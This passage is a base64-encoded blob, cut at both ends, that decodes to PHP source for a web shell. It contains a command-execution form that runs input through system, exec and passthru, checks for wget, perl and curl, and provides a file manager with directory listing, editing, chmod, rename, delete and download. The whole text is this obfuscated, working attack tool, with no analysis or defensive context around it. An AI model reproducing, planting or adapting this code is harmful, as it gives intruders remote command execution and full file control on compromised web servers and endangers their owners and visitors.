mUuIjxicj4iOyRidWZmIC49ICImbmJzcDsiLiRzeXN0ZW0uIjxicj4iO2lmKCRpZCAhPSAiIikgJGJ1ZmYgLj0gIiZuYnNwOyIuJGlkLiI8YnI+IjtpZigkc2FmZW1vZGUpICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiNERDQ3MzYnPk9OPC9mb250PjwvYj48YnI+IjtlbHNlICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9GRjwvZm9udD48L2I+PGJyPiI7DQpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkge2lmICgkc3RhdD09Im9uIikge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9OPC9mb250PjwvYj4iO31lbHNlIHtyZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjojREQ0NzM2Jz5PRkY8L2ZvbnQ+PC9iPiI7fX0NCmZ1bmN0aW9uIHRlc3RteXNxbCgpIHtpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCmZ1bmN0aW9uIHRlc3RjdXJsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0d2dldCgpIHtpZiAoZXhlKCd3Z2V0IC0taGVscCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0cGVybCgpIHtpZiAoZXhlKCdwZXJsIC1oJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCiRidWZmIC49ICImbmJzcDtNeVNRTDogIi50ZXN0bXlzcWwoKS4iJm5ic3A7fCZuYnNwO1Blcmw6ICIudGVzdHBlcmwoKS4iJm5ic3A7fCZuYnNwO2NVUkw6ICIudGVzdGN1cmwoKS4iJm5ic3A7fCZuYnNwO1dHZXQ6ICIudGVzdHdnZXQoKS4iPGJyPiI7DQokYnVmZiAuPSAiJm5ic3A7Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybDsNCmZ1bmN0aW9uIHJhcGloKCR0ZXh0KXtyZXR1cm4gdHJpbShzdHJfcmVwbGFjZSgiPGJyPiIsIiIsJHRleHQpKTt9IA0KZnVuY3Rpb24gbWFnaWNib29tKCR0ZXh0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpe3JldHVybiAkdGV4dDt9IHJldHVybiBzdHJpcHNsYXNoZXMoJHRleHQpO30gDQpmdW5jdGlvbiBzaG93ZGlyKCRwd2QsJHByb21wdCl7JGZuYW1lID0gYXJyYXkoKTskZG5hbWUgPSBhcnJheSgpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgDQokcG9zaXggPSBUUlVFO2Vsc2UgJHBvc2l4ID0gRkFMU0U7JHVzZXIgPSAiPz8/Pzo/Pz8/IjsNCmlmKCRkaCA9IG9wZW5kaXIoJHB3ZCkpe3doaWxlKCRmaWxlID0gcmVhZGRpcigkZGgpKXsNCmlmKGlzX2RpcigkZmlsZSkpeyRkbmFtZVtdID0gJGZpbGU7fSANCmVsc2VpZihpc19maWxlKCRmaWxlKSl7JGZuYW1lW10gPSAkZmlsZTt9fWNsb3NlZGlyKCRkaCk7fSBzb3J0KCRmbmFtZSk7c29ydCgkZG5hbWUpOyRwYXRoID0gQGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskdHJlZSA9IEBzaXplb2YoJHBhdGgpOyRwYXJlbnQgPSAiIjsNCiRidWZmID0gIiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt4PXNoZWxsJyBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdtYXJnaW46OHB4IDAgMCAwOyc+PHRhYmxlIGNsYXNzPSdjbWRib3gnIHN0eWxlPSd3aWR0aDo1MCU7Jz48dHI+PHRkPiRwcm9tcHQ8L3RkPjx0ZD48aW5wdXQgb25Nb3VzZU92ZXI9J3RoaXMuZm9jdXMoKTsnIGlkPSdjbWQnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2NtZCcgc3R5bGU9J3dpZHRoOjQwMHB4OycgdmFsdWU9JycgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRG8gIScgbmFtZT0nc3VibWl0Y21kJyBzdHlsZT0nd2lkdGg6ODBweDsnIC8+PC90ZD48L3RyPjwvZm9ybT48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0JyBzdHlsZT0nbWFyZ2luOjhweCAwIDAgMDsnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3knIHZhbHVlPSciLiRwd2QuIicgLz48dHI+PHRkPnZpZXcgZmlsZS9mb2xkZXI8L3RkPjxjZW50ZXI+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj0ndGhpcy5mb2N1cygpOycgaWQ9J2dvdG8nIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3ZpZXcnIHN0eWxlPSd3aWR0aDo0MDBweDsnIHZhbHVlPSciLiRwd2QuIicgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndmlldyAhJyBuYW1lPSdzdWJtaXRjbWQnIHN0eWxlPSd3aWR0aDo4MHB4OycgLz48L3RkPjwvY2VudGVyPjwvdHI+PC9mb3JtPjwvdGFibGU+PHRhYmxlIGNsYXNzPSdleHBsb3JlJz4gPHRyPjx0aD5uYW1lPC90aD48dGggc3R5bGU9J3dpZHRoOjgwcHg7Jz5zaXplPC90aD48dGggc3R5bGU9J3dpZHRoOjIxMHB4Oyc+b3duZXI6Z3JvdXA8L3RoPjx0aCBzdHlsZT0nd2lkdGg6ODBweDsnPnBlcm1zPC90aD48dGggc3R5bGU9J3dpZHRoOjExMHB4Oyc+bW9kaWZpZWQ8L3RoPjx0aCBzdHlsZT0nd2lkdGg6MTkwcHg7Jz5hY3Rpb25zPC90aD48L3RyPiAiOw0KaWYoJHRyZWUgPiAyKSANCmZvcigkaT0wOyRpPCR0cmVlLTI7JGkrKykgJHBhcmVudCAuPSAkcGF0aFskaV0uRElSRUNUT1JZX1NFUEFSQVRPUjsNCmVsc2UgJHBhcmVudCA9ICRwd2Q7DQpmb3JlYWNoKCRkbmFtZSBhcyAkZm9sZGVyKXsNCmlmKCRmb2xkZXIgPT0gIi4iKSB7DQppZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOyRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPSdnYXlhJz4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7JG93bmVyID0gJHVzZXI7fQ0KJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHB3ZC4iXCI+JGZvbGRlcjwvYT48L3RkPjx0ZD4tPC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPg0KPHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHB3ZCkuIjwvY2VudGVyPjwvdGQ+DQo8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkcHdkKSkuIjwvdGQ+PHRkPjxzcGFuIGlkPVwidGl0aWsxXCI+DQo8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwd2QuIm5ld2ZpbGUucGhwXCI+bmV3ZmlsZTwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsxJywndGl0aWsxX2Zvcm0nKTtcIj5uZXdmb2xkZXI8L2E+DQo8L3NwYW4+PGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MTQwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibWtkaXJcIiB2YWx1ZT1cImFfbmV3X2ZvbGRlclwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHb1wiIC8+IA0KPC9mb3JtPjwvdGQ+PC90cj4gIjt9IA0KZWxzZWlmKCRmb2xkZXIgPT0gIi4uIil7IA0KaWYoISR3aW4gJiYgJHBvc2l4KQ0KeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOw0KJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPg0KPGEgaHJlZj1cIj95PSIuJHBhcmVudC4iXCI+ICAkZm9sZGVyPC9hPjwvdGQ+PHRkPi08L3RkPg0KPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+DQo8dGQ+PGNlbnRlcj4iLmdldF9wZXJtcygkcGFyZW50KS4iPC9jZW50ZXI+PC90ZD4gPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJHBhcmVudCkpLiI8L3RkPg0KPHRkPjxzcGFuIGlkPVwidGl0aWsyXCI+PGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcGFyZW50LiJuZXdmaWxlLnBocFwiPm5ld2ZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMicsJ3RpdGlrMl9mb3JtJyk7XCI+bmV3Zm9sZGVyPC9hPjwvc3Bhbj4gDQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvXCIgLz4gDQo8L2Zvcm0+PC90ZD48L3RyPiI7fWVsc2V7aWYoISR3aW4gJiYgJHBvc2l4KXsgDQokbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7IA0KJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsgDQokb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7ICRvd25lciA9ICR1c2VyOyB9DQokYnVmZiAuPSAiPHRyPjx0ZD48YSBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmtcIiBocmVmPVwiP3k9Ii4kcHdkLiRmb2xkZXIuRElSRUNUT1JZX1NFUEFSQVRPUi4iXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFCR2RCVFVFQUFMR1BDL3hoQlFBQUFBbHdTRmx6QUFBT3dnQUFEc0lCRlNoS2dBQUFBQnAwUlZoMFUyOW1kSGRoY21VQVVHRnBiblF1VGtWVUlIWXpMalV1TVRBdzlIS2hBQUFDa1VsRVFWUTRUOFdUMlV2VVVSekZ6Mk5SVDVwYWI5WkRZWk5NTGpOcTZyZzFGcWhsNWN3OHFBKzJrSm1CZ3hLVWhWcFc0eTZGWmJsa2FSUk9wa1FMSVRLRzFFUmhDNUpNdWFWbXp1UVdCRDNlMjduTjBEL1FRei80OFAxKzd6bm5lKy9MRC9qdm4xNFh0VVlYcVUrTzBrZWJZMk5pTGZGeEJrdWlJY21TbkpSaU1lNU10ZXhLM1cwMnBoak5TWW5KWmtOOGdpa21lb2VKR1JNelJyMU92eFpiUXpUQlpDQlVFK29KRDR2d2NKRW5OaWJPWTRoTDhIQ1JKekVoNlUvUE16YzFkL2oyQ1BjMlRhaWJtU0ZOaUdZVDdoVDduYnlVNTc5eTRkQTZXWFVzUU5hY0NKUjFSWUd5b1RoSU5wWnM4TEZlMWx1RC9taTIvQUJaZWRCZjJ2TDhmblNWK0pkaG9oWlBKK3NndjE2SDlOeUdYT3lHWEg0QXVkTExldGZMU2g4clo2VXBqL0pPTVROUkF3ZkdhOUEzV2V0YjBPbGJRUFBTZmZaZFhwYlovMTFBajFxZ011UFZlSVl4RzdyR2JaQXpUWkR6SFpEZmVlT2luZHhqZjVNM3RrTXVNTFRFc3dWcXlqTnpsZUVxU0daNzRLckVaVmNGbjFRUE1jZk43ZzRJUGxQTU4wTjhhL0l5Ujl4dGhKcnlURFZBdU01QnVzNmpCYVBsS0I4NXhXMFhJYVliK2J4cmtMTlhJTDVVUXhKVnhSUmZPTTBMWm5tejhpaXZ5b3lXd1lhUlVoUzhMWUw0V0FyeHVSSmlvb3ExQXVMVEdSOW5PWmQ1ejVRMlJvL3lxc3pJYVZneGJFWG15OE9RYndvaDNwZEF2ck5DdkQ0S01Yd2NjcmlBVlZGSVBSL2lRekdoUjNsZk1NT3NDWTRjaFBWYjhKUEl3VnpJNXptUUEyYUkvDQppek83QWV6T1ZOelpFTU01VkduUjNuSkwwY3VJbkVySGNIMkRIVGIwK0RzemNTcmgxbHdQamI3c01ENWhLajVrUWxPcGZYUlkwK0hzenNEUFowWjJJamNNS3l1VHNYbTVqUm9iK3lCdG5VZnRHMEhTQmEwN1FxVHQ3YnU5Mm90ZTZGdFRvZVdtUzFIZEZqMXp6L3piOVpxbWxaODY2WTZBQUFBQUVsRlRrU3VRbUNDJyAvPiAgWyAkZm9sZGVyIF08L2E+IA0KPGZvcm0gYWN0aW9uPVwiP3k9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgdmFsdWU9XCJyZW5hbWVcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4NCjwvZm9ybT4gPC90ZD48dGQ+RElSPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD48dGQ+PGNlbnRlcj4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTMnKTtcIj4iLmdldF9wZXJtcygkcHdkLiRmb2xkZXIpLiI8L2E+DQo8Zm9ybSBhY3Rpb249XCI/eT0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTNcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3dmFsdWVcIiB2YWx1ZT1cIiIuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRwd2QuJGZvbGRlcikpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZF9mb2xkZXJcIiB2YWx1ZT1cImNobW9kXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgDQpvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiIC8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZvbGRlcikpLiI8L3RkPjx0ZD48YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nKTtcIj5yZW5hbWU8L2E+fCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZmRlbGV0ZT0iLiRwd2QuJGZvbGRlci4iXCI+ZGVsZXRlPC9hPg0KPC90ZD4NCjwvdHI+Ijt9fWZvcmVhY2goJGZuYW1lIGFzICRmaWxlKXsgDQokZnVsbCA9ICRwd2QuJGZpbGU7IA0KaWYoISR3aW4gJiYgJHBvc2l4KXskbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZSkpOyAkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGUpKTsgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP3k9JHB3ZCZhbXA7dmlldz0kZnVsbFwiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBUm5RVTFCQUFDeGp3djhZUVVBQUFBSmNFaFpjd0FBRHNNQUFBN0RBY2R2cUdRQUFBQWFkRVZZZEZOdlpuUjNZWEpsQUZCaGFXNTBMazVGVkNCMk15NDFMakV3TVBSeW9RQUFBWFZKUkVGVU9FK05ranRQd2xBWWh2MERMRVpKU0RRYXdRQ1RjWUQvWVdJa3pxeDBjSFQxRDdDNG5NUkZTZE9XaTR1em05RkZYY1JCSTNLeFFHbExvWUNBSUx5ZWtoaVJ3NlVuZVpLbWViOG43OWVlcGFXLzQzZTVYRkdmejBjc3ZGNHY4WGkyeWZyR0psbGVjUklhMnhuTE1vK09jRGlzNmtZTnVsRWZVZEVNWkQvS3VIMUlRN3k2UmlRUzBlWkpBb2xraWc2VS9wSEp5MGkvdk9QbS9nbmxpa1lsM0V4Sk1KbTZoRnhXR1FwRmhVcXlLSlFxeU5GR0hNZnB0TW51NUE1VWtCclZacWtpTHl0NHpjckk1SXQ0eThuWTJ3OVprclZ4U2RCYW9Wb3paNkxxdFZHRHU4ZG5IQjJmZ0E0SEdZSFphR0UyVFJqMUJvcUtobE55eGdyaWlTUmFuKzJGbU0wV1lyekFDaVFxNkhTN0MybDN1aERqaVNrQyt2S3IxN09GTkUwZ1NuSDArOSsyc0xMTVJ4UkVDWVBCd0JhQ09FWEFDeUtHdzZFdGVFRmlHZ1RPWXp6c25ndWFwU3NFeHUrQjR5QjBxSllVbGY1cmN5NVd4c3JTWWNma2RmYXZPcDNSTGJlYnpNUEswRUgvNy9BUHY1OWo3WCtnSk5JQUFBQUFTVVZPUks1Q1lJSSUzRCcgLz4gICRmaWxlPC9hPiANCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtJyk7XCIgLz4NCjwvZm9ybT48L3RkPjx0ZD4iLnVrdXJhbigkZnVsbCkuIjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+DQo8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTInKTtcIj4iLmdldF9wZXJtcygkZnVsbCkuIjwvYT4NCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTJcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld3ZhbHVlXCIgdmFsdWU9XCIiLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZnVsbCkpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZFwiIHZhbHVlPVwiY2htb2RcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2Zvcm0yJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+IA0KPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+ZWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPnJlbmFtZTwvYT58IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkZWxldGU9JGZ1bGxcIj5kZWxldGU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsPSRmdWxsXCI+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbGd6aXA9JGZ1bGxcIj5nejwvYT4pDQo8L3RkPjwvdHI+Ijt9IA0KJGJ1ZmYgLj0gIjwvdGFibGU+IjsgcmV0dXJuICRidWZmO30NCmZ1bmN0aW9uIHVrdXJhbigkZmlsZSl7aWYoJHNpemUgPSBAZmlsZXNpemUoJGZpbGUpKXtpZigkc2l6ZSA8PSAxMDI0KSByZXR1cm4gJHNpemU7ZWxzZXtpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQsMik7Ow0KcmV0dXJuICIkc2l6ZSBrYiI7fSBlbHNlIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgLyAxMDI0LDIpO3JldHVybiAiJHNpemUgbWIiO319fQ0KZWxzZSByZXR1cm4gIj8/PyI7fSBmdW5jdGlvbiBleGUoJGNtZCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkge0BvYl9zdGFydCgpO0BzeXN0ZW0oJGNtZCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpOw0KcmV0dXJuICRidWZmO30gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7QGV4ZWMoJGNtZCwkcmVzdWx0cyk7JGJ1ZmYgPSAiIjtmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpeyRidWZmIC49ICRyZXN1bHQ7fSByZXR1cm4gJGJ1ZmY7fSANCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jyk